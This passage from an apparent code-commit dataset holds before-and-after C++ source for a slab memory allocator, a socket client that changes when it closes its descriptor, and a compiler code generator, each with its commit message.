slabsBack + newsize;\n\ts.pointer = (int)slab;\n\n\t\/\/ Update free list\n\tconst size_t rest = newsize - size;\n\tFreeSpace::Cursor f = m_freeSpace.Add();\n\tf.ref = slabsBack + newsize;\n\tf.size = rest;\n\n\treturn MemRef((void*)slab, slabsBack);\n}\n\n\/\/ Support function\nsize_t GetSizeFromHeader(void* p) {\n\t\/\/ parse the capacity part of 8byte header\n\tconst uint8_t* const header = (uint8_t*)p;\n\treturn (header[4] << 16) + (header[5] << 8) + header[6];\n}\n\nvoid SlabAlloc::Free(size_t ref, void* p) {\n\t\/\/ Get size from segment\n\tconst size_t size = GetSizeFromHeader(p);\n\n\t\/\/ Add to freelist\n\tm_freeSpace.Add(ref, size);\n\n\t\/\/ Consolidate freelist\n}\n\nMemRef SlabAlloc::ReAlloc(size_t ref, void* p, size_t size, bool doCopy=true) {\n\t\/\/TODO: Check if we can extend current space\n\n\t\/\/ Allocate new space\n\tconst MemRef space = Alloc(size);\n\tif (!space.pointer) return space;\n\n\tif (doCopy) {\n\t\t\/\/ Get size of old segment\n\t\tconst size_t oldsize = GetSizeFromHeader(p);\n\n\t\t\/\/ Copy existing segment\n\t\tmemcpy(space.pointer, p, oldsize);\n\n\t\t\/\/ Add old segment to freelist\n\t\tFree(ref, p);\n\t}\n\n\treturn space;\n}\n\nvoid* SlabAlloc::Translate(size_t ref) const {\n\tif (ref < m_baseline) return m_shared + ref;\n\telse {\n\t\tconst size_t ndx = m_slabs.offset.Find(ref); \/\/FindPos\n\t\tassert(ndx != -1);\n\n\t\tconst size_t offset = ndx ? m_slabs[ndx-1].offset : 0;\n\t\treturn (int64_t*)(int)m_slabs[ndx].pointer + (ref - offset);\n\t}\n}\n<commit_msg>Minor type fix in alloc<commit_after>#include \"AllocSlab.h\"\n#include <assert.h>\n\nSlabAlloc::SlabAlloc() : m_shared(NULL), m_baseline(0) {}\n\nSlabAlloc::~SlabAlloc() {\n\t\/\/ Release all allocated memory\n\tfor (size_t i = 0; i < m_slabs.GetSize(); ++i) {\n\t\tvoid* p = (void*)(int)m_slabs[i].pointer;\n\t\tfree(p);\n\t}\n}\n\nMemRef SlabAlloc::Alloc(size_t size) {\n\t\/\/ Do we have a free space we can reuse?\n\tfor (size_t i = 0; i < m_freeSpace.GetSize(); ++i) {\n\t\tFreeSpace::Cursor r = m_freeSpace[i];\n\t\tif (r.size >= (int)size) {\n\t\t\tconst size_t location = (size_t)r.ref;\n\t\t\tconst size_t rest = (size_t)r.size - size;\n\n\t\t\t\/\/ Update free list\n\t\t\tif (rest == 0) m_freeSpace.DeleteRow(i);\n\t\t\telse {\n\t\t\t\tr.size = rest;\n\t\t\t\tr.ref += (unsigned int)size;\n\t\t\t}\n\n\t\t\treturn MemRef(Translate(location), location);\n\t\t}\n\t}\n\n\t\/\/ Else, allocate new slab\n\tconst size_t multible = 256 * ((size % 256) + 1);\n\tconst size_t slabsBack = m_slabs.IsEmpty() ? 0 : m_slabs.Back().offset;\n\tconst size_t doubleLast = m_slabs.IsEmpty() ? 0 :\n\t\t                                          (slabsBack - (m_slabs.GetSize() == 1) ? 0 : m_slabs[-2].offset) * 2;\n\tconst size_t newsize = multible > doubleLast ? multible : doubleLast;\n\n\t\/\/ Allocate memory \n\tvoid* slab = malloc(newsize);\n\tif (!slab) return MemRef(NULL, 0);\n\n\t\/\/ Add to slab table\n\tSlabs::Cursor s = m_slabs.Add();\n\ts.offset = slabsBack + newsize;\n\ts.pointer = (intptr_t)slab;\n\n\t\/\/ Update free list\n\tconst size_t rest = newsize - size;\n\tFreeSpace::Cursor f = m_freeSpace.Add();\n\tf.ref = slabsBack + newsize;\n\tf.size = rest;\n\n\treturn MemRef(slab, slabsBack);\n}\n\n\/\/ Support function\nsize_t GetSizeFromHeader(void* p) {\n\t\/\/ parse the capacity part of 8byte header\n\tconst uint8_t* const header = (uint8_t*)p;\n\treturn (header[4] << 16) + (header[5] << 8) + header[6];\n}\n\nvoid SlabAlloc::Free(size_t ref, void* p) {\n\t\/\/ Get size from segment\n\tconst size_t size = GetSizeFromHeader(p);\n\n\t\/\/ Add to freelist\n\tm_freeSpace.Add(ref, size);\n\n\t\/\/ Consolidate freelist\n}\n\nMemRef SlabAlloc::ReAlloc(size_t ref, void* p, size_t size, bool doCopy=true) {\n\t\/\/TODO: Check if we can extend current space\n\n\t\/\/ Allocate new space\n\tconst MemRef space = Alloc(size);\n\tif (!space.pointer) return space;\n\n\tif (doCopy) {\n\t\t\/\/ Get size of old segment\n\t\tconst size_t oldsize = GetSizeFromHeader(p);\n\n\t\t\/\/ Copy existing segment\n\t\tmemcpy(space.pointer, p, oldsize);\n\n\t\t\/\/ Add old segment to freelist\n\t\tFree(ref, p);\n\t}\n\n\treturn space;\n}\n\nvoid* SlabAlloc::Translate(size_t ref) const {\n\tif (ref < m_baseline) return m_shared + ref;\n\telse {\n\t\tconst size_t ndx = m_slabs.offset.Find(ref); \/\/FindPos\n\t\tassert(ndx != -1);\n\n\t\tconst size_t offset = ndx ? m_slabs[ndx-1].offset : 0;\n\t\treturn (int64_t*)(int)m_slabs[ndx].pointer + (ref - offset);\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/\n\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2014  Michael J. Wouters\n\/\/ \n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/ Modification history\n\/\/\n\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <errno.h>\n\n#include <sstream>\n#include <cstring>\n\n#include \"Debug.h\"\n#include \"Client.h\"\n#include \"Server.h\"\n\n#define BUFSIZE 8192\n\nextern ostream* debugStream;\n\n\n\/\/\n\/\/ Public methods\n\/\/\n\nClient::Client(Server *s,int fd)\n{\n\tostringstream ss;\n\tss << fd;\n\tthreadID = \"client\"+ ss.str();\n\t\n\tsocketfd=fd;\n\tchannelMask=0;\n\tserver=s;\n}\n\nClient::~Client()\n{\n\tclose(socketfd);\n}\n\nvoid Client::sendData(vector< int >&data)\n{\n\tDBGMSG(debugStream,\"sending data:\" << data.size());\n\t\n\tstring msg;\n\tfor (unsigned int i=0;i<data.size();i+=4){\n\t\tostringstream ss;\n\t\tss << data.at(i) << \" \" << data.at(i+1) << \" \" << data.at(i+2) << \" \" << data.at(i+3) << endl;\n\t\tmsg += ss.str();\n\t}\n\tDBGMSG(debugStream,msg);\n\t\n\tint nw,nEINTR=0;\n\tint nleft = msg.size();\n\tconst char* pbuf=msg.c_str();\n\t\n\twhile (nleft > 0){\n\t\tif (( nw = write(socketfd,pbuf,nleft)) <= 0){\n\t\t\tif (errno==EINTR){ \/\/ interrupted by signal\n\t\t\t\tnw=0;\n\t\t\t\tnEINTR++;\n\t\t\t\tif (10==nEINTR){\n\t\t\t\t\tDBGMSG(debugStream, \"too many interrrupts - write() aborted\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tDBGMSG(debugStream, strerror(errno));\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tDBGMSG(debugStream, \"wrote \" << nw);\n\t\tnleft -=nw;\n\t\tpbuf += nw;\n\t}\t\n}\n\nvoid Client::doWork()\n{\n\tint nread;\n\tchar msgbuf[BUFSIZE];\n\twhile (!stopRequested){\n\t\twhile ((nread=recv(socketfd,msgbuf,BUFSIZE-1,0))>0){ \/\/ nread ==0 -> shutdown\n\t\t\tmsgbuf[nread]=0; \/\/ terminate that string\n\t\t\t\/\/ Get the channel mask\n\t\t\tDBGMSG(debugStream,threadID << \":\" << msgbuf);\n\t\t\t\/\/ Expected input is of the form mask=N\n\t\t}\n\t\tint serror=errno; \/\/ save the errorno since subsequent system calls will overwrite it\n\t\tif (0==nread){\n\t\t\tDBGMSG(debugStream,\"connection \" << threadID << \" closed by remote\");\n\t\t\tclose(socketfd);\n\t\t\tstopRequested=true;\n\t\t}\n\t\telse if (-1==nread){\n\t\t\tDBGMSG(debugStream,\"recv error : \" << strerror(serror) << \" \" << threadID << \" closed\");\n\t\t\tclose(socketfd);\n\t\t\tstopRequested=true;\n\t\t}\n\t}\n\tDBGMSG(debugStream, \"finished\");\n\trunning=false;\n}\n\n\n<commit_msg>Bug fix. Keep a hold on socketfd until the Client is destroyed.<commit_after>\/\/\n\/\/\n\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2014  Michael J. Wouters\n\/\/ \n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/ Modification history\n\/\/\n\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <errno.h>\n\n#include <sstream>\n#include <cstring>\n\n#include \"Debug.h\"\n#include \"Client.h\"\n#include \"Server.h\"\n\n#define BUFSIZE 8192\n\nextern ostream* debugStream;\n\n\n\/\/\n\/\/ Public methods\n\/\/\n\nClient::Client(Server *s,int fd)\n{\n\tostringstream ss;\n\tss << fd;\n\tthreadID = \"client\"+ ss.str();\n\t\n\tsocketfd=fd;\n\tchannelMask=0;\n\tserver=s;\n}\n\nClient::~Client()\n{\n\t\/\/ Socket is not closed until the Client is destroyed\n\t\/\/ This deals with the problem that if a counter logging process exits (and the Client socket is immediately released),\n\t\/\/ there is a finite time before it is destroyed. If a new process is started before it is destroyed, then the OS may give \n\t\/\/ the new process the same file descriptor, which this Client then closes \n\tclose(socketfd);\n}\n\nvoid Client::sendData(vector< int >&data)\n{\n\tDBGMSG(debugStream,\"sending data:\" << data.size());\n\t\n\tstring msg;\n\tfor (unsigned int i=0;i<data.size();i+=4){\n\t\tostringstream ss;\n\t\tss << data.at(i) << \" \" << data.at(i+1) << \" \" << data.at(i+2) << \" \" << data.at(i+3) << endl;\n\t\tmsg += ss.str();\n\t}\n\tDBGMSG(debugStream,msg);\n\t\n\tint nw,nEINTR=0;\n\tint nleft = msg.size();\n\tconst char* pbuf=msg.c_str();\n\t\n\twhile (nleft > 0){\n\t\tif (( nw = write(socketfd,pbuf,nleft)) <= 0){\n\t\t\tif (errno==EINTR){ \/\/ interrupted by signal\n\t\t\t\tnw=0;\n\t\t\t\tnEINTR++;\n\t\t\t\tif (10==nEINTR){\n\t\t\t\t\tDBGMSG(debugStream, \"too many interrrupts - write() aborted\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tDBGMSG(debugStream, strerror(errno));\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tDBGMSG(debugStream, \"wrote \" << nw);\n\t\tnleft -=nw;\n\t\tpbuf += nw;\n\t}\t\n}\n\nvoid Client::doWork()\n{\n\tint nread;\n\tchar msgbuf[BUFSIZE];\n\twhile (!stopRequested){\n\t\twhile ((nread=recv(socketfd,msgbuf,BUFSIZE-1,0))>0){ \/\/ nread ==0 -> shutdown\n\t\t\tmsgbuf[nread]=0; \/\/ terminate that string\n\t\t\t\/\/ Get the channel mask\n\t\t\tDBGMSG(debugStream,threadID << \":\" << msgbuf);\n\t\t\t\/\/ Expected input is of the form mask=N\n\t\t}\n\t\tint serror=errno; \/\/ save the errorno since subsequent system calls will overwrite it\n\t\tif (0==nread){\n\t\t\tDBGMSG(debugStream,\"connection \" << threadID << \" closed by remote\");\n\t\t\t\/\/close(socketfd);\n\t\t\tstopRequested=true;\n\t\t}\n\t\telse if (-1==nread){\n\t\t\tDBGMSG(debugStream,\"recv error : \" << strerror(serror) << \" \" << threadID << \" closed\");\n\t\t\t\/\/close(socketfd);\n\t\t\tstopRequested=true;\n\t\t}\n\t}\n\tDBGMSG(debugStream, \"finished\");\n\trunning=false;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2014-2015 Project Vogue. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"elang\/compiler\/cg\/code_generator.h\"\n\n#include \"base\/logging.h\"\n#include \"elang\/compiler\/analyze\/name_resolver.h\"\n#include \"elang\/compiler\/ast\/class.h\"\n#include \"elang\/compiler\/ast\/expressions.h\"\n#include \"elang\/compiler\/ast\/method.h\"\n#include \"elang\/compiler\/ast\/namespace.h\"\n#include \"elang\/compiler\/ast\/statements.h\"\n#include \"elang\/compiler\/ast\/visitor.h\"\n#include \"elang\/compiler\/cg\/type_mapper.h\"\n#include \"elang\/compiler\/compilation_session.h\"\n#include \"elang\/compiler\/ir\/nodes.h\"\n#include \"elang\/compiler\/predefined_names.h\"\n#include \"elang\/compiler\/semantics.h\"\n#include \"elang\/hir\/editor.h\"\n#include \"elang\/hir\/factory.h\"\n#include \"elang\/hir\/instructions.h\"\n#include \"elang\/hir\/types.h\"\n\nnamespace elang {\nnamespace compiler {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ CodeGenerator::Output\n\/\/\nstruct CodeGenerator::Output {\n  hir::Instruction* instruction;\n  int position;\n  \/\/ When |type| is |nullptr|, no output is expected. It is different from\n  \/\/ |void| type. In this case, |position| must be -1.\n  hir::Type* type;\n\n  Output(hir::Type* type, hir::Instruction* instruction, int position)\n      : instruction(instruction), position(position), type(type) {\n    if (type) {\n      DCHECK_LE(position, 0);\n    } else {\n      DCHECK_EQ(position, -1);\n    }\n  }\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ CodeGenerator::ScopedOutput\n\/\/\nclass CodeGenerator::ScopedOutput {\n public:\n  ScopedOutput(CodeGenerator* generator,\n               hir::Type* type,\n               hir::Instruction* instruction,\n               int position);\n  ScopedOutput(CodeGenerator* generator, hir::Instruction* instruction);\n  ~ScopedOutput();\n\n private:\n  CodeGenerator* const generator_;\n  Output output_;\n  Output* const previous_output_;\n\n  DISALLOW_COPY_AND_ASSIGN(ScopedOutput);\n};\n\nCodeGenerator::ScopedOutput::ScopedOutput(CodeGenerator* generator,\n                                          hir::Type* type,\n                                          hir::Instruction* instruction,\n                                          int position)\n    : generator_(generator),\n      output_(type, instruction, position),\n      previous_output_(generator->output_) {\n  generator_->output_ = &output_;\n}\n\nCodeGenerator::ScopedOutput::ScopedOutput(CodeGenerator* generator,\n                                          hir::Instruction* instruction)\n    : ScopedOutput(generator, nullptr, instruction, -1) {\n}\n\nCodeGenerator::ScopedOutput::~ScopedOutput() {\n  generator_->output_ = previous_output_;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ CodeGenerator\n\/\/\nCodeGenerator::CodeGenerator(CompilationSession* session,\n                             hir::Factory* factory,\n                             NameResolver* name_resolver)\n    : editor_(nullptr),\n      factory_(factory),\n      function_(nullptr),\n      name_resolver_(name_resolver),\n      output_(nullptr),\n      session_(session),\n      type_mapper_(new TypeMapper(session, factory)) {\n}\n\nCodeGenerator::~CodeGenerator() {\n}\n\nvoid CodeGenerator::Generate() {\n  session_->global_namespace()->AcceptForMembers(this);\n}\n\nSemantics* CodeGenerator::semantics() const {\n  return session_->semantics();\n}\n\nhir::Type* CodeGenerator::MapType(PredefinedName name) {\n  return type_mapper_->Map(name);\n}\n\nhir::Type* CodeGenerator::MapType(ir::Type* type) {\n  return type_mapper_->Map(type);\n}\n\n\/\/ ast::Visitor\n\n\/\/ Declaration nodes\nvoid CodeGenerator::VisitAlias(ast::Alias* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitClass(ast::Class* clazz) {\n  DCHECK(clazz);\n  NOTREACHED();\n}\n\nvoid CodeGenerator::VisitClassBody(ast::ClassBody* node) {\n  node->AcceptForMembers(this);\n}\n\nvoid CodeGenerator::VisitEnum(ast::Enum* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitField(ast::Field* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitImport(ast::Import* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitMethod(ast::Method* ast_method) {\n  DCHECK(!editor_);\n  DCHECK(!function_);\n  \/\/  1 Convert ast::FunctionType to hir::FunctionType\n  \/\/  2 hir::NewFunction(function_type)\n  auto const method = name_resolver()->Resolve(ast_method)->as<ir::Method>();\n  if (!method) {\n    DVLOG(0) << \"Not resolved \" << *ast_method;\n    return;\n  }\n  function_ = factory()->NewFunction(\n      type_mapper()->Map(method->signature())->as<hir::FunctionType>());\n  hir::Editor editor(factory(), function_);\n  auto const return_instr = function_->entry_block()->last_instruction();\n  ScopedOutput scoped_output(this, return_instr->OperandAt(0)->type(),\n                             return_instr, 0);\n  ast_method->body()->Accept(this);\n  methods_[ast_method] = function_;\n  editor_ = nullptr;\n  function_ = nullptr;\n}\n\nvoid CodeGenerator::VisitNamespace(ast::Namespace* node) {\n  DCHECK(node);\n  NOTREACHED();\n}\n\nvoid CodeGenerator::VisitNamespaceBody(ast::NamespaceBody* node) {\n  node->AcceptForMembers(this);\n}\n\n\/\/ Expression nodes\nvoid CodeGenerator::VisitArrayType(ast::ArrayType* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitAssignment(ast::Assignment* assignment) {\n  DCHECK(assignment);\n}\n\nvoid CodeGenerator::VisitBinaryOperation(ast::BinaryOperation* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitCall(ast::Call* node) {\n  DCHECK(node);\n  auto const callee = semantics()->ValueOf(node->callee())->as<ir::Method>();\n  DCHECK(callee) << \"Unresolved call\" << *node;\n  auto const callee_type =\n      MapType(callee->signature())->as<hir::FunctionType>();\n  \/\/ TODO(eval1749) We should make 'call' instruction takes multiple\n  \/\/ operands.\n  auto const call_instr = hir::CallInstruction::New(\n      factory(), output_->type, callee_type->GetDefaultValue(),\n      MapType(PredefinedName::Void)->GetDefaultValue());\n  editor_->InsertBefore(call_instr, output_->instruction);\n  auto position = static_cast<int>(node->arguments().size());\n  auto arguments = node->arguments().rbegin();\n  while (position) {\n    auto const arg_type = callee_type->parameters_type();\n    ScopedOutput output_to_argument(this, arg_type, call_instr, position);\n    (*arguments)->Accept(this);\n    --position;\n    ++arguments;\n  }\n  ScopedOutput output_callee(this, callee_type, call_instr, 0);\n  node->callee()->Accept(this);\n}\n\nvoid CodeGenerator::VisitConditional(ast::Conditional* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitConstructedType(ast::ConstructedType* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitInvalidExpression(ast::InvalidExpression* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitLiteral(ast::Literal* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitMemberAccess(ast::MemberAccess* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitNameReference(ast::NameReference* node) {\n  DCHECK(node);\n  \/\/ TODO(eval1749) We need to have\n  \/\/ |NameResolver::GetReference(ast::Expression*)|.\n}\n\nvoid CodeGenerator::VisitUnaryOperation(ast::UnaryOperation* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitVariableReference(ast::VariableReference* node) {\n  DCHECK(node);\n}\n\n\/\/ Statement nodes\nvoid CodeGenerator::VisitBlockStatement(ast::BlockStatement* node) {\n  for (auto const statement : node->statements()) {\n    if (statement == node->statements().back()) {\n      statement->Accept(this);\n    } else {\n      \/\/ Interleaved statement has no output.\n      ScopedOutput scoped_output(this, output_->instruction);\n      statement->Accept(this);\n    }\n  }\n}\n\nvoid CodeGenerator::VisitBreakStatement(ast::BreakStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitDoStatement(ast::DoStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitContinueStatement(ast::ContinueStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitEmptyStatement(ast::EmptyStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitExpressionStatement(ast::ExpressionStatement* node) {\n  node->expression()->Accept(this);\n}\n\nvoid CodeGenerator::VisitExpressionList(ast::ExpressionList* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitForEachStatement(ast::ForEachStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitForStatement(ast::ForStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitIfStatement(ast::IfStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitInvalidStatement(ast::InvalidStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitReturnStatement(ast::ReturnStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitThrowStatement(ast::ThrowStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitTryStatement(ast::TryStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitUsingStatement(ast::UsingStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitVarStatement(ast::VarStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitWhileStatement(ast::WhileStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitYieldStatement(ast::YieldStatement* node) {\n  DCHECK(node);\n}\n\n}  \/\/ namespace compiler\n}  \/\/ namespace elang\n<commit_msg>elang\/compiler\/cg: Make |CodeGenerator| not to process unreachable statement.<commit_after>\/\/ Copyright 2014-2015 Project Vogue. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"elang\/compiler\/cg\/code_generator.h\"\n\n#include \"base\/logging.h\"\n#include \"elang\/compiler\/analyze\/name_resolver.h\"\n#include \"elang\/compiler\/ast\/class.h\"\n#include \"elang\/compiler\/ast\/expressions.h\"\n#include \"elang\/compiler\/ast\/method.h\"\n#include \"elang\/compiler\/ast\/namespace.h\"\n#include \"elang\/compiler\/ast\/statements.h\"\n#include \"elang\/compiler\/ast\/visitor.h\"\n#include \"elang\/compiler\/cg\/type_mapper.h\"\n#include \"elang\/compiler\/compilation_session.h\"\n#include \"elang\/compiler\/ir\/nodes.h\"\n#include \"elang\/compiler\/predefined_names.h\"\n#include \"elang\/compiler\/semantics.h\"\n#include \"elang\/hir\/editor.h\"\n#include \"elang\/hir\/factory.h\"\n#include \"elang\/hir\/instructions.h\"\n#include \"elang\/hir\/types.h\"\n\nnamespace elang {\nnamespace compiler {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ CodeGenerator::Output\n\/\/\nstruct CodeGenerator::Output {\n  hir::Instruction* instruction;\n  int position;\n  \/\/ When |type| is |nullptr|, no output is expected. It is different from\n  \/\/ |void| type. In this case, |position| must be -1.\n  hir::Type* type;\n\n  Output(hir::Type* type, hir::Instruction* instruction, int position)\n      : instruction(instruction), position(position), type(type) {\n    DCHECK(instruction);\n    if (type) {\n      DCHECK_LE(position, 0);\n    } else {\n      DCHECK_EQ(position, -1);\n    }\n  }\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ CodeGenerator::ScopedOutput\n\/\/\nclass CodeGenerator::ScopedOutput {\n public:\n  ScopedOutput(CodeGenerator* generator,\n               hir::Type* type,\n               hir::Instruction* instruction,\n               int position);\n  ScopedOutput(CodeGenerator* generator, hir::Instruction* instruction);\n  ~ScopedOutput();\n\n private:\n  CodeGenerator* const generator_;\n  Output output_;\n  Output* const previous_output_;\n\n  DISALLOW_COPY_AND_ASSIGN(ScopedOutput);\n};\n\nCodeGenerator::ScopedOutput::ScopedOutput(CodeGenerator* generator,\n                                          hir::Type* type,\n                                          hir::Instruction* instruction,\n                                          int position)\n    : generator_(generator),\n      output_(type, instruction, position),\n      previous_output_(generator->output_) {\n  generator_->output_ = &output_;\n}\n\nCodeGenerator::ScopedOutput::ScopedOutput(CodeGenerator* generator,\n                                          hir::Instruction* instruction)\n    : ScopedOutput(generator, nullptr, instruction, -1) {\n}\n\nCodeGenerator::ScopedOutput::~ScopedOutput() {\n  generator_->output_ = previous_output_;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ CodeGenerator\n\/\/\nCodeGenerator::CodeGenerator(CompilationSession* session,\n                             hir::Factory* factory,\n                             NameResolver* name_resolver)\n    : editor_(nullptr),\n      factory_(factory),\n      function_(nullptr),\n      name_resolver_(name_resolver),\n      output_(nullptr),\n      session_(session),\n      type_mapper_(new TypeMapper(session, factory)) {\n}\n\nCodeGenerator::~CodeGenerator() {\n}\n\nvoid CodeGenerator::Generate() {\n  session_->global_namespace()->AcceptForMembers(this);\n}\n\nSemantics* CodeGenerator::semantics() const {\n  return session_->semantics();\n}\n\nhir::Type* CodeGenerator::MapType(PredefinedName name) {\n  return type_mapper_->Map(name);\n}\n\nhir::Type* CodeGenerator::MapType(ir::Type* type) {\n  return type_mapper_->Map(type);\n}\n\n\/\/ ast::Visitor\n\n\/\/ Declaration nodes\nvoid CodeGenerator::VisitAlias(ast::Alias* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitClass(ast::Class* clazz) {\n  DCHECK(clazz);\n  NOTREACHED();\n}\n\nvoid CodeGenerator::VisitClassBody(ast::ClassBody* node) {\n  node->AcceptForMembers(this);\n}\n\nvoid CodeGenerator::VisitEnum(ast::Enum* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitField(ast::Field* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitImport(ast::Import* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitMethod(ast::Method* ast_method) {\n  DCHECK(!editor_);\n  DCHECK(!function_);\n  \/\/  1 Convert ast::FunctionType to hir::FunctionType\n  \/\/  2 hir::NewFunction(function_type)\n  auto const method = name_resolver()->Resolve(ast_method)->as<ir::Method>();\n  if (!method) {\n    DVLOG(0) << \"Not resolved \" << *ast_method;\n    return;\n  }\n  function_ = factory()->NewFunction(\n      type_mapper()->Map(method->signature())->as<hir::FunctionType>());\n  hir::Editor editor(factory(), function_);\n  auto const return_instr = function_->entry_block()->last_instruction();\n  ScopedOutput scoped_output(this, return_instr->OperandAt(0)->type(),\n                             return_instr, 0);\n  ast_method->body()->Accept(this);\n  methods_[ast_method] = 